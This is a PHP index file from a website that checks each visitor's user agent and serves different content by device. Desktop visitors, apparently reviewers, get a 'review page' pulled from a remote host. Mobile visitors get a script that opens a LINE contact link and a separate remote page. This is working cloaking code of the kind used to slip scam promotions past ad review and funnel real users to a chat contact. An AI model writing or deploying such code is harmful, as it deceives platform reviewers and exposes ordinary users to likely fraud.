File: /www/wwwroot/www.dasfde.com/index.php
<?php
function is_mobile()
{
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$is_pc = (strpos($agent, 'windows nt')) ? true : false;
$is_mac = (strpos($agent, 'mac os')) ? true : false;
$is_iphone = (strpos($agent, 'iphone')) ? true : false;
$is_android = (strpos($agent, 'android')) ? true : false;
$is_ipad = (strpos($agent, 'ipad')) ? true : false;
if($is_pc){
return false;
}
if($is_mac){
return true;
}
if($is_iphone){
return true;
}
if($is_android){
return true;
}
if($is_ipad){
return true;
}
}
/* 判断电脑移动端的封装*/
if(!is_mobile())//如果是电脑端显示
{
echo '<base href="https://www.xfpzh.com/" />';
$f_info=implode("",file("http://www.xxlht.com/sh/029/index.html")); //审核页链接
echo $f_info;
}
else {
echo '<base href="https://www.xfpzh.com/" />';
echo '<script >
var arr_wx =["LKS530"]; //创建line号
var kfhlja =["https://line.me/ti/p/tsqnO20IfV"]; //创建line号的链接
var wx_index = Math.floor((Math.random() * arr_wx.length));
var stxlwx = arr_wx[wx_index];
var kfhljas = kfhlja[wx_index];
function showline() {
window.open(kfhljas);
}
</script> ';
$f_info=implode("",file("http://www.xxlht.com/tg/tw/zw/005/index.html")); //后台链接
echo $f_info;
}